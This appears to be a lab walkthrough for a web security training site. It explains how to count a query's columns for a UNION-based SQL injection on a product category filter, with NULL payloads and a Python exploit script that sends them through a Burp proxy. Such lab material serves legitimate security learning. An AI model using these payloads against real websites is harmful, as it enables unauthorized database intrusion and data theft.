SQLi Lab 7
SQL injection for determining the number of columns returned by a query
SQL injection UNION attack, determining the number of columns returned by the query#
This lab demonstrates how to determine the number of columns returned by a query in a SQL injection scenario. The vulnerable product category filter returns the results of a query in the application’s response. To perform a UNION
attack, the first step is to find the correct number of columns by sending payloads containing NULL
values until the query executes successfully without errors. This technique is fundamental for constructing further SQL injection attacks in subsequent labs.
How Exploit Works#
- The
category
parameter in/filter
is vulnerable to SQL injection. - Start with a payload like
'+UNION+SELECT+NULL--
to test the query. An error indicates the number of columns does not match. - Gradually add
NULL
values separated by commas (e.g.'+UNION+SELECT+NULL,NULL--
) until the response executes successfully. - Once the number of columns is correct, the lab is considered solved.
- This method prepares the ground for full
UNION SELECT
attacks in future labs.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import requests
import sys
import urllib3
# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Set Burp Suite proxy
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
def check_burp():
"""
Check if Burp Suite is running and listening on the configured proxy.
"""
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.exceptions.RequestException:
print("[-] Burp Suite is not running. Please start it and try again.")
sys.exit(1)
def exploit_sqli(url, payload):
"""
Send payload directly in the URL, then check base URL for success banner.
"""
try:
# Step 1: Send payload
full_url = url.rstrip("/") + payload
res = requests.get(full_url, verify=False, proxies=proxies, timeout=10)
res.raise_for_status()
# Step 2: Request base URL again and check for 'Congratulations'
check_res = requests.get(url, verify=False, proxies=proxies, timeout=10)
check_res.raise_for_status()
return "Congratulations" in check_res.text
except requests.RequestException as e:
print(f"[-] Error while sending request: {e}")
sys.exit(1)
def main():
"""
Entry point of the script.
"""
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
print(f"Example: python {sys.argv[0]} https://example.com")
sys.exit(1)
url = sys.argv[1].strip()
# Step 1: Check Burp Suite
check_burp()
# Step 2: Define SQL injection payload
payload = "/filter?category='+UNION+SELECT+NULL,NULL,NULL--"
# Step 3: Attempt exploitation
print("[*] Sending payload...")
if exploit_sqli(url, payload):
print("[+] Lab solved! 🎉")
else:
print("[-] Payload sent but lab not solved (no 'Congratulations' found).")
if __name__ == "__main__":
main()
python